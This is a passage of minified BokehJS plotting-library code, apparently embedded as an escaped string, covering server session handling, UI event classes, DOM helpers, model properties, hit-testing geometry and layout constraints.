e._steady_state_handler(t)},this._repull_session_doc(),null!=this._pending_ack&&(this._pending_ack[0](this),this._pending_ack=null)):this._close_bad_protocol(\\\"First message was not an ACK\\\")},t.prototype._steady_state_handler=function(t){if(t.reqid()in this._pending_replies){var e=this._pending_replies[t.reqid()];delete this._pending_replies[t.reqid()],e[0](t)}else this.session.handle(t)},t}();o.ClientConnection=p,o.pull_session=function(i,n,r){return new s.Promise(function(t,e){return new p(i,n,r,function(e){try{t(e)}catch(t){throw a.logger.error(\\\"Promise handler threw an error, closing session \\\"+t),e.close(),t}},function(){e(new Error(\\\"Connection was closed before we successfully pulled a session\\\"))}).connect().then(function(t){},function(t){throw a.logger.error(\\\"Failed to connect to Bokeh server \\\"+t),t})})}},function(t,e,i){var n=t(14),r=t(52),o=t(282),s=function(){function t(t,e,i){var n=this;this._connection=t,this.document=e,this.id=i,this._document_listener=function(t){return n._document_changed(t)},this.document.on_change(this._document_listener),this.event_manager=this.document.event_manager,this.event_manager.session=this}return t.prototype.handle=function(t){var e=t.msgtype();\\\"PATCH-DOC\\\"===e?this._handle_patch(t):\\\"OK\\\"===e?this._handle_ok(t):\\\"ERROR\\\"===e?this._handle_error(t):n.logger.debug(\\\"Doing nothing with message \\\"+t.msgtype())},t.prototype.close=function(){this._connection.close()},t.prototype.send_event=function(t){var e=o.Message.create(\\\"EVENT\\\",{},JSON.stringify(t));this._connection.send(e)},t.prototype._connection_closed=function(){this.document.remove_on_change(this._document_listener)},t.prototype.request_server_info=function(){var t=o.Message.create(\\\"SERVER-INFO-REQ\\\",{}),e=this._connection.send_with_reply(t);return e.then(function(t){return t.content})},t.prototype.force_roundtrip=function(){return this.request_server_info().then(function(t){})},t.prototype._document_changed=function(t){if(t.setter_id!==this.id&&(!(t instanceof r.ModelChangedEvent)||t.attr in t.model.serializable_attributes())){var e=o.Message.create(\\\"PATCH-DOC\\\",{},this.document.create_json_patch([t]));this._connection.send(e)}},t.prototype._handle_patch=function(t){this.document.apply_json_patch(t.content,t.buffers,this.id)},t.prototype._handle_ok=function(t){n.logger.trace(\\\"Unhandled OK reply to \\\"+t.reqid())},t.prototype._handle_error=function(t){n.logger.error(\\\"Unhandled ERROR reply to \\\"+t.reqid()+\\\": \\\"+t.content.text)},t}();i.ClientSession=s},function(t,e,i){var n=t(391),r=t(14),o=t(32),s={};function a(e){return function(t){t.prototype.event_name=e,s[e]=t}}i.register_event_class=a,i.register_with_event=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=t.prototype.applicable_models.concat(e);t.prototype.applicable_models=n};var l=function(){function t(t){void 0===t&&(t={}),this.model_id=null,(this._options=t).model_id&&(this.model_id=t.model_id)}return t.prototype.set_model_id=function(t){return this._options.model_id=t,this.model_id=t,this},t.prototype.is_applicable_to=function(e){return this.applicable_models.some(function(t){return e instanceof t})},t.event_class=function(t){if(t.type)return s[t.type];r.logger.warn(\\\"BokehEvent.event_class required events with a string type attribute\\\")},t.prototype.toJSON=function(){return{event_name:this.event_name,event_values:o.clone(this._options)}},t.prototype._customize_event=function(t){return this},t}();(i.BokehEvent=l).prototype.applicable_models=[];var h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"button_click\\\")],e)}(l);i.ButtonClick=h;var u=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(l),c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodstart\\\")],e)}(i.UIEvent=u);i.LODStart=c;var _=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"lodend\\\")],e)}(u);i.LODEnd=_;var p=function(i){function t(t){var e=i.call(this,t)||this;return e.geometry=t.geometry,e.final=t.final,e}return n.__extends(t,i),t=n.__decorate([a(\\\"selectiongeometry\\\")],t)}(u);i.SelectionGeometry=p;var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"reset\\\")],e)}(u);i.Reset=d;var f=function(i){function t(t){var e=i.call(this,t)||this;return e.sx=t.sx,e.sy=t.sy,e.x=null,e.y=null,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,model_id:e})},t.prototype._customize_event=function(t){var e=t.plot_canvas.frame.xscales.default,i=t.plot_canvas.frame.yscales.default;return this.x=e.invert(this.sx),this.y=i.invert(this.sy),this._options.x=this.x,this._options.y=this.y,this},t}(u),v=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.delta_x=t.delta_x,e.delta_y=t.delta_y,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta_x:t.deltaX,delta_y:t.deltaY,direction:t.direction,model_id:e})},t=n.__decorate([a(\\\"pan\\\")],t)}(i.PointEvent=f);i.Pan=v;var m=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.scale=t.scale,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,scale:t.scale,model_id:e})},t=n.__decorate([a(\\\"pinch\\\")],t)}(f);i.Pinch=m;var g=function(i){function t(t){void 0===t&&(t={});var e=i.call(this,t)||this;return e.delta=t.delta,e}return n.__extends(t,i),t.from_event=function(t,e){return void 0===e&&(e=null),new this({sx:t.sx,sy:t.sy,delta:t.delta,model_id:e})},t=n.__decorate([a(\\\"wheel\\\")],t)}(f);i.MouseWheel=g;var y=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mousemove\\\")],e)}(f);i.MouseMove=y;var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseenter\\\")],e)}(f);i.MouseEnter=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseleave\\\")],e)}(f);i.MouseLeave=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"tap\\\")],e)}(f);i.Tap=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"doubletap\\\")],e)}(f);i.DoubleTap=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"press\\\")],e)}(f);i.Press=S;var C=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panstart\\\")],e)}(f);i.PanStart=C;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panend\\\")],e)}(f);i.PanEnd=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchstart\\\")],e)}(f);i.PinchStart=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchend\\\")],e)}(f);i.PinchEnd=E},function(t,e,i){var g=t(391),y=t(21);i.build_views=function(e,t,i,n){void 0===n&&(n=function(t){return t.default_view});for(var r=y.difference(Object.keys(e),t.map(function(t){return t.id})),o=0,s=r;o<s.length;o++){var a=s[o];e[a].remove(),delete e[a]}for(var l=[],h=t.filter(function(t){return null==e[t.id]}),u=0,c=h;u<c.length;u++){var _=c[u],p=n(_),d=g.__assign({},i,{model:_,connect_signals:!1}),f=new p(d);e[_.id]=f,l.push(f)}for(var v=0,m=l;v<m.length;v++){var f=m[v];f.connect_signals()}return l},i.remove_views=function(t){for(var e in t)t[e].remove(),delete t[e]}},function(t,e,i){var n,y=t(44),r=function(g){return function(t){void 0===t&&(t={});for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=document.createElement(g);for(var r in t){var o=t[r];if(null!=o&&(!y.isBoolean(o)||o))if(\\\"class\\\"===r&&y.isArray(o))for(var s=0,a=o;s<a.length;s++){var l=a[s];null!=l&&n.classList.add(l)}else if(\\\"style\\\"===r&&y.isPlainObject(o))for(var h in o)n.style[h]=o[h];else if(\\\"data\\\"===r&&y.isPlainObject(o))for(var u in o)n.dataset[u]=o[u];else n.setAttribute(r,o)}function c(t){if(t instanceof HTMLElement)n.appendChild(t);else if(y.isString(t))n.appendChild(document.createTextNode(t));else if(null!=t&&!1!==t)throw new Error(\\\"expected an HTMLElement, string, false or null, got \\\"+JSON.stringify(t))}for(var _=0,p=e;_<p.length;_++){var d=p[_];if(y.isArray(d))for(var f=0,v=d;f<v.length;f++){var m=v[f];c(m)}else c(d)}return n}};function o(t,e){var i=Element.prototype,n=i.matches||i.webkitMatchesSelector||i.mozMatchesSelector||i.msMatchesSelector;return n.call(t,e)}i.createElement=function(t,e){for(var i=[],n=2;n<arguments.length;n++)i[n-2]=arguments[n];return r(t).apply(void 0,[e].concat(i))},i.div=r(\\\"div\\\"),i.span=r(\\\"span\\\"),i.link=r(\\\"link\\\"),i.style=r(\\\"style\\\"),i.a=r(\\\"a\\\"),i.p=r(\\\"p\\\"),i.i=r(\\\"i\\\"),i.pre=r(\\\"pre\\\"),i.button=r(\\\"button\\\"),i.label=r(\\\"label\\\"),i.input=r(\\\"input\\\"),i.select=r(\\\"select\\\"),i.option=r(\\\"option\\\"),i.optgroup=r(\\\"optgroup\\\"),i.textarea=r(\\\"textarea\\\"),i.canvas=r(\\\"canvas\\\"),i.ul=r(\\\"ul\\\"),i.ol=r(\\\"ol\\\"),i.li=r(\\\"li\\\"),i.nbsp=document.createTextNode(\\\"Â \\\"),i.removeElement=function(t){var e=t.parentNode;null!=e&&e.removeChild(t)},i.replaceWith=function(t,e){var i=t.parentNode;null!=i&&i.replaceChild(e,t)},i.prepend=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.firstChild,r=0,o=e;r<o.length;r++){var s=o[r];t.insertBefore(s,n)}},i.empty=function(t){for(var e;e=t.firstChild;)t.removeChild(e)},i.show=function(t){t.style.display=\\\"\\\"},i.hide=function(t){t.style.display=\\\"none\\\"},i.position=function(t){return{top:t.offsetTop,left:t.offsetLeft}},i.offset=function(t){var e=t.getBoundingClientRect();return{top:e.top+window.pageYOffset-document.documentElement.clientTop,left:e.left+window.pageXOffset-document.documentElement.clientLeft}},i.matches=o,i.parent=function(t,e){for(var i=t;i=i.parentElement;)if(o(i,e))return i;return null},i.margin=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.marginTop)||0,bottom:parseFloat(e.marginBottom)||0,left:parseFloat(e.marginLeft)||0,right:parseFloat(e.marginRight)||0}},i.padding=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.paddingTop)||0,bottom:parseFloat(e.paddingBottom)||0,left:parseFloat(e.paddingLeft)||0,right:parseFloat(e.paddingRight)||0}},(n=i.Keys||(i.Keys={}))[n.Backspace=8]=\\\"Backspace\\\",n[n.Tab=9]=\\\"Tab\\\",n[n.Enter=13]=\\\"Enter\\\",n[n.Esc=27]=\\\"Esc\\\",n[n.PageUp=33]=\\\"PageUp\\\",n[n.PageDown=34]=\\\"PageDown\\\",n[n.Left=37]=\\\"Left\\\",n[n.Up=38]=\\\"Up\\\",n[n.Right=39]=\\\"Right\\\",n[n.Down=40]=\\\"Down\\\",n[n.Delete=46]=\\\"Delete\\\"},function(t,e,i){var n=t(391),r=t(48),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._has_finished=!1,this.el=this._createElement()},t.prototype.remove=function(){o.removeElement(this.el),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return[]},t.prototype.cursor=function(t,e){return null},t.prototype.layout=function(){},t.prototype.render=function(){},t.prototype.renderTo=function(t){t.appendChild(this.el),this.layout()},t.prototype.has_finished=function(){return this._has_finished},Object.defineProperty(t.prototype,\\\"_root_element\\\",{get:function(){return o.parent(this.el,\\\".bk-root\\\")||document.body},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"solver\\\",{get:function(){return this.is_root?this._solver:this.parent.solver},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_idle\\\",{get:function(){return this.has_finished()},enumerable:!0,configurable:!0}),t.prototype._createElement=function(){return o.createElement(this.tagName,{id:this.id,class:this.css_classes()})},t}(r.View);(i.DOMView=s).prototype.tagName=\\\"div\\\"},function(t,e,i){i.AngleUnits=[\\\"deg\\\",\\\"rad\\\"],i.Dimension=[\\\"width\\\",\\\"height\\\"],i.Dimensions=[\\\"width\\\",\\\"height\\\",\\\"both\\\"],i.Direction=[\\\"clock\\\",\\\"anticlock\\\"],i.FontStyle=[\\\"normal\\\",\\\"italic\\\",\\\"bold\\\",\\\"bold italic\\\"],i.LatLon=[\\\"lat\\\",\\\"lon\\\"],i.LineCap=[\\\"butt\\\",\\\"round\\\",\\\"square\\\"],i.LineJoin=[\\\"miter\\\",\\\"round\\\",\\\"bevel\\\"],i.Location=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.LegendClickPolicy=[\\\"none\\\",\\\"hide\\\",\\\"mute\\\"],i.LegendLocation=[\\\"top_left\\\",\\\"top_center\\\",\\\"top_right\\\",\\\"center_left\\\",\\\"center\\\",\\\"center_right\\\",\\\"bottom_left\\\",\\\"bottom_center\\\",\\\"bottom_right\\\"],i.Anchor=i.LegendLocation,i.Orientation=[\\\"vertical\\\",\\\"horizontal\\\"],i.OutputBackend=[\\\"canvas\\\",\\\"svg\\\",\\\"webgl\\\"],i.RenderLevel=[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\",\\\"annotation\\\",\\\"overlay\\\"],i.RenderMode=[\\\"canvas\\\",\\\"css\\\"],i.Side=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.Place=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.SpatialUnits=[\\\"screen\\\",\\\"data\\\"],i.StartEnd=[\\\"start\\\",\\\"end\\\"],i.VerticalAlign=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\"],i.TextAlign=[\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.TextBaseline=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\",\\\"alphabetic\\\",\\\"hanging\\\",\\\"ideographic\\\"],i.TickLabelOrientation=[\\\"vertical\\\",\\\"horizontal\\\",\\\"parallel\\\",\\\"normal\\\"],i.TooltipAttachment=[\\\"horizontal\\\",\\\"vertical\\\",\\\"left\\\",\\\"right\\\",\\\"above\\\",\\\"below\\\"],i.Distribution=[\\\"uniform\\\",\\\"normal\\\"],i.StepMode=[\\\"after\\\",\\\"before\\\",\\\"center\\\"],i.SizingMode=[\\\"stretch_both\\\",\\\"scale_width\\\",\\\"scale_height\\\",\\\"scale_both\\\",\\\"fixed\\\"],i.PaddingUnits=[\\\"percent\\\",\\\"absolute\\\"],i.SliderCallbackPolicy=[\\\"continuous\\\",\\\"throttle\\\",\\\"mouseup\\\"],i.RoundingFunction=[\\\"round\\\",\\\"nearest\\\",\\\"floor\\\",\\\"rounddown\\\",\\\"ceil\\\",\\\"roundup\\\"],i.UpdateMode=[\\\"replace\\\",\\\"append\\\"],i.HTTPMethod=[\\\"POST\\\",\\\"GET\\\"],i.Logo=[\\\"normal\\\",\\\"grey\\\"]},function(t,e,i){var o=t(391),l=t(19),n=t(16),h=t(34),r=t(15),u=t(38),s=t(21),_=t(32),p=t(44),d=t(30),a=function(a){function c(t){void 0===t&&(t={});var e=a.call(this)||this;for(var i in e._subtype=void 0,e.document=null,e.destroyed=new l.Signal0(e,\\\"destroyed\\\"),e.change=new l.Signal0(e,\\\"change\\\"),e.transformchange=new l.Signal0(e,\\\"transformchange\\\"),e.attributes={},e.properties={},e._set_after_defaults={},e._pending=!1,e._changing=!1,e.props){var n=e.props[i],r=n.type,o=n.default_value;if(null==r)throw new Error(\\\"undefined property type for \\\"+e.type+\\\".\\\"+i);e.properties[i]=new r(e,i,o)}null==t.id&&e.setv({id:u.uniqueId()},{silent:!0});var s=t.__deferred__||!1;return s&&delete(t=_.clone(t)).__deferred__,e.setv(t,{silent:!0}),s||e.finalize(),e}return o.__extends(c,a),c.initClass=function(){this.prototype.type=\\\"HasProps\\\",this.prototype.props={},this.prototype.mixins=[],this.define({id:[r.Any]})},c._fix_default=function(t,e){return void 0===t?void 0:p.isFunction(t)?t:p.isObject(t)?p.isArray(t)?function(){return s.copy(t)}:function(){return _.clone(t)}:function(){return t}},c.define=function(a){var t=function(i){var t=a[i];if(null!=l.prototype.props[i])throw new Error(\\\"attempted to redefine property '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");if(null!=l.prototype[i])throw new Error(\\\"attempted to redefine attribute '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");Object.defineProperty(l.prototype,i,{get:function(){var t=this.getv(i);return t},set:function(t){var e;return this.setv(((e={})[i]=t,e)),this},configurable:!1,enumerable:!0});var e=t[0],n=t[1],r=t[2],o={type:e,default_value:l._fix_default(n,i),internal:r||!1},s=_.clone(l.prototype.props);s[i]=o,l.prototype.props=s},l=this;for(var e in a)t(e)},c.internal=function(t){var e={};for(var i in t){var n=t[i],r=n[0],o=n[1];e[i]=[r,o,!0]}this.define(e)},c.mixin=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this.define(n.create(t));var i=this.prototype.mixins.concat(t);this.prototype.mixins=i},c.mixins=function(t){this.mixin.apply(this,t)},c.override=function(t){for(var e in t){var i=this._fix_default(t[e],e),n=this.prototype.props[e];if(null==n)throw new Error(\\\"attempted to override nonexistent '\\\"+this.prototype.type+\\\".\\\"+e+\\\"'\\\");var r=_.clone(this.prototype.props);r[e]=o.__assign({},n,{default_value:i}),this.prototype.props=r}},c.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\")\\\"},c.prototype.finalize=function(){var t=this;for(var e in this.properties){var i=this.properties[e];i.update(),null!=i.spec.transform&&this.connect(i.spec.transform.change,function(){return t.transformchange.emit()})}this.initialize(),this.connect_signals()},c.prototype.initialize=function(){},c.prototype.connect_signals=function(){},c.prototype.disconnect_signals=function(){l.Signal.disconnectReceiver(this)},c.prototype.destroy=function(){this.disconnect_signals(),this.destroyed.emit()},c.prototype.clone=function(){return new this.constructor(this.attributes)},c.prototype._setv=function(t,e){var i=e.check_eq,n=e.silent,r=[],o=this._changing;this._changing=!0;var s=this.attributes;for(var a in t){var l=t[a];!1!==i&&d.isEqual(s[a],l)||r.push(a),s[a]=l}if(!n){0<r.length&&(this._pending=!0);for(var h=0;h<r.length;h++)this.properties[r[h]].change.emit()}if(!o){if(!n&&!e.no_change)for(;this._pending;)this._pending=!1,this.change.emit();this._pending=!1,this._changing=!1}},c.prototype.setv=function(t,e){for(var i in void 0===e&&(e={}),t)if(t.hasOwnProperty(i)){var n=i;if(null==this.props[n])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+n+\\\" wasn't declared\\\");null!=e&&e.defaults||(this._set_after_defaults[i]=!0)}if(!_.isEmpty(t)){var r={};for(var i in t)r[i]=this.getv(i);this._setv(t,e);var o=e.silent;if(null==o||!o)for(var i in t)this._tell_document_about_change(i,r[i],this.getv(i),e)}},c.prototype.getv=function(t){if(null==this.props[t])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+t+\\\" wasn't declared\\\");return this.attributes[t]},c.prototype.ref=function(){return h.create_ref(this)},c.prototype.set_subtype=function(t){this._subtype=t},c.prototype.attribute_is_serializable=function(t){var e=this.props[t];if(null==e)throw new Error(this.type+\\\".attribute_is_serializable('\\\"+t+\\\"'): \\\"+t+\\\" wasn't declared\\\");return!e.internal},c.prototype.serializable_attributes=function(){var t={};for(var e in this.attributes){var i=this.attributes[e];this.attribute_is_serializable(e)&&(t[e]=i)}return t},c._value_to_json=function(t,e,i){if(e instanceof c)return e.ref();if(p.isArray(e)){for(var n=[],r=0;r<e.length;r++){var o=e[r];n.push(c._value_to_json(r.toString(),o,e))}return n}if(p.isPlainObject(e)){var s={};for(var a in e)e.hasOwnProperty(a)&&(s[a]=c._value_to_json(a,e[a],e));return s}return e},c.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=c._value_to_json);var i=this.serializable_attributes(),n={};for(var r in i)if(i.hasOwnProperty(r)){var o=i[r];t?n[r]=o:r in this._set_after_defaults&&(n[r]=o)}return e(\\\"attributes\\\",n,this)},c._json_record_references=function(t,e,i,n){if(null==e);else if(h.is_ref(e)){if(!(e.id in i)){var r=t.get_model_by_id(e.id);c._value_record_references(r,i,n)}}else if(p.isArray(e))for(var o=0,s=e;o<s.length;o++){var a=s[o];c._json_record_references(t,a,i,n)}else if(p.isPlainObject(e))for(var l in e)if(e.hasOwnProperty(l)){var a=e[l];c._json_record_references(t,a,i,n)}},c._value_record_references=function(t,e,i){if(null==t);else if(t instanceof c){if(!(t.id in e)&&(e[t.id]=t,i))for(var n=t._immediate_references(),r=0,o=n;r<o.length;r++){var s=o[r];c._value_record_references(s,e,!0)}}else if(t.buffer instanceof ArrayBuffer);else if(p.isArray(t))for(var a=0,l=t;a<l.length;a++){var h=l[a];c._value_record_references(h,e,i)}else if(p.isPlainObject(t))for(var u in t)if(t.hasOwnProperty(u)){var h=t[u];c._value_record_references(h,e,i)}},c.prototype._immediate_references=function(){var t={},e=this.serializable_attributes();for(var i in e){var n=e[i];c._value_record_references(n,t,!1)}return _.values(t)},c.prototype.references=function(){var t={};return c._value_record_references(this,t,!0),_.values(t)},c.prototype._doc_attached=function(){},c.prototype.attach_document=function(t){if(null!=this.document&&this.document!=t)throw new Error(\\\"models must be owned by only a single document\\\");this.document=t,this._doc_attached()},c.prototype.detach_document=function(){this.document=null},c.prototype._tell_document_about_change=function(t,e,i,n){if(this.attribute_is_serializable(t)&&null!=this.document){var r={};c._value_record_references(i,r,!1);var o={};c._value_record_references(e,o,!1);var s=!1;for(var a in r)if(!(a in o)){s=!0;break}if(!s)for(var l in o)if(!(l in r)){s=!0;break}s&&this.document._invalidate_all_models(),this.document._notify_change(this,t,e,i,n)}},c.prototype.materialize_dataspecs=function(t){var e={};for(var i in this.properties){var n=this.properties[i];n.dataspec&&(!n.optional||null!=n.spec.value||i in this._set_after_defaults)&&(e[\\\"_\\\"+i]=n.array(t),null!=n.spec.field&&n.spec.field in t._shapes&&(e[\\\"_\\\"+i+\\\"_shape\\\"]=t._shapes[n.spec.field]),n instanceof r.DistanceSpec&&(e[\\\"max_\\\"+i]=s.max(e[\\\"_\\\"+i])))}return e},c}(l.Signalable());(i.HasProps=a).initClass()},function(t,e,i){var n=t(21),r=t(197);function o(t){return t*t}function s(t,e){return o(t.x-e.x)+o(t.y-e.y)}function a(t,e,i){var n=s(e,i);if(0==n)return s(t,e);var r=((t.x-e.x)*(i.x-e.x)+(t.y-e.y)*(i.y-e.y))/n;if(r<0)return s(t,e);if(1<r)return s(t,i);var o={x:e.x+r*(i.x-e.x),y:e.y+r*(i.y-e.y)};return s(t,o)}i.point_in_poly=function(t,e,i,n){for(var r=!1,o=i[i.length-1],s=n[n.length-1],a=0;a<i.length;a++){var l=i[a],h=n[a];s<e!=h<e&&o+(e-s)/(h-s)*(l-o)<t&&(r=!r),o=l,s=h}return r},i.point_in_ellipse=function(t,e,i,n,r,o,s){var a=Math.pow(Math.cos(i)/r,2)+Math.pow(Math.sin(i)/n,2),l=2*Math.cos(i)*Math.sin(i)*(Math.pow(1/r,2)-Math.pow(1/n,2)),h=Math.pow(Math.cos(i)/n,2)+Math.pow(Math.sin(i)/r,2);return a*Math.pow(t-o,2)+l*(t-o)*(e-s)+h*Math.pow(e-s,2)<=1},i.create_empty_hit_test_result=function(){return new r.Selection},i.create_hit_test_result_from_hits=function(t){var e=new r.Selection;return e.indices=n.sortBy(t,function(t){return t[0],t[1]}).map(function(t){var e=t[0];return t[1],e}),e},i.validate_bbox_coords=function(t,e){var i,n,r=t[0],o=t[1],s=e[0],a=e[1];return o<r&&(r=(i=[o,r])[0],o=i[1]),a<s&&(s=(n=[a,s])[0],a=n[1]),{minX:r,minY:s,maxX:o,maxY:a}},i.dist_2_pts=s,i.dist_to_segment_squared=a,i.dist_to_segment=function(t,e,i){return Math.sqrt(a(t,e,i))},i.check_2_segments_intersect=function(t,e,i,n,r,o,s,a){var l=(a-o)*(i-t)-(s-r)*(n-e);if(0==l)return{hit:!1,x:null,y:null};var h=e-o,u=t-r,c=(s-r)*h-(a-o)*u,_=(i-t)*h-(n-e)*u;u=_/l;var p=t+(h=c/l)*(i-t),d=e+h*(n-e);return{hit:0<h&&h<1&&0<u&&u<1,x:p,y:d}}},function(t,e,i){var s=t(13),a=t(21);i.vstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._bottom,[-1,t._bottom])),i.push(s.EQ(a.tail(e)._top,[-1,t._top])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._top,[-1,e._bottom])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._left,[-1,t._left])),i.push(s.EQ(o._right,[-1,t._right]))}}return i},i.hstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._right,[-1,t._right])),i.push(s.EQ(a.tail(e)._left,[-1,t._left])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._left,[-1,e._right])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._top,[-1,t._top])),i.push(s.EQ(o._bottom,[-1,t._bottom]))}}return i}},function(t,e,i){var n=t(391),r=t(13),o=t(8),s=t(24),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutCanvas\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._top=new r.Variable(this.toString()+\\\".top\\\"),this._left=new r.Variable(this.toString()+\\\".left\\\"),this._width=new r.Variable(this.toString()+\\\".width\\\"),this._height=new r.Variable(this.toString()+\\\".height\\\"),this._right=new r.Variable(this.toString()+\\\".right\\\"),this._bottom=new r.Variable(this.toString()+\\\".bottom\\\");var t=this;this._hcenter={get value(){return(t._left.value+t._right.value)/2}},this._vcenter={get value(){return(t._top.value+t._bottom.value)/2}}},t.prototype.get_editables=function(){return[]},t.prototype.get_constraints=function(){return[r.GE(this._top),r.GE(this._bottom),r.GE(this._left),r.GE(this._right),r.GE(this._width),r.GE(this._height),r.EQ(this._left,this._width,[-1,this._right]),r.EQ(this._top,this._height,[-1,this._bottom])]},t.prototype.get_layoutable_children=function(){return[]},Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){return new s.BBox({x0:this._left.value,y0:this._top.value,x1:this._right.value,y1:this._bottom.value})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xview\\\",{get:function(){var r=this;return{compute:function(t){return r._left.value+t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._left.value,n=0;n<t.length;n++)e[n]=i+t[n];return e}}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yview\\\",{get:function(){var r=this;return{compute:function(t){return r._bottom.value-t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._bottom.value,n=0;n<t.length;n++)e[n]=i-t[n];return e}}},enumerable:!0,configurable:!0}),t}(o.HasProps);(i.LayoutCanvas=a).initClass()},function(t,e,r){var i=t(391),o=t(13),n=t(11),s=t(15),a=t(14),l=t(44),h=Math.PI/2,u=\\\"alphabetic\\\",c=\\\"middle\\\",_=\\\"hanging\\\",p=\\\"left\\\",d=\\\"right\\\",f=\\\"center\\\",v={above:{parallel:0,normal:-h,horizontal:0,vertical:-h},below:{parallel:0,normal:h,horizontal:0,vertical:h},left:{parallel:-h,normal:0,horizontal:0,vertical:-h},right:{parallel:h,normal:0,horizontal:0,vertical:h}},m={above:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:u,vertical:c},below:{justified:\\\"bottom\\\",parallel:_,normal:c,horizontal:_,vertical:c},left:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u},right:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u}},g={above:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},below:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},left:{justified:f,parallel:f,normal:d,horizontal:d,vertical:f},right:{justified:f,parallel:f,normal:p,horizontal:p,vertical:f}},y={above:d,below:p,left:d,right:p},b={above:p,below:d,left:d,right:p};function x(t){return\\\"panel\\\"in t}r.isSizeable=x,r.isSizeableView=function(t){return x(t.model)&&\\\"get_size\\\"in t},r._view_sizes=new WeakMap,r._view_constraints=new WeakMap,r.update_panel_constraints=function(t){var e=t.solver,i=t.get_size(),n=r._view_constraints.get(t);if(null!=n&&e.has_constraint(n)){if(r._view_sizes.get(t)===i)return;e.remove_constraint(n)}n=o.GE(t.model.panel._size,-i),e.add_constraint(n),r._view_sizes.set(t,i),r._view_constraints.set(t,n)};var w=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SidePanel\\\",this.internal({side:[s.String]})},t.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\", 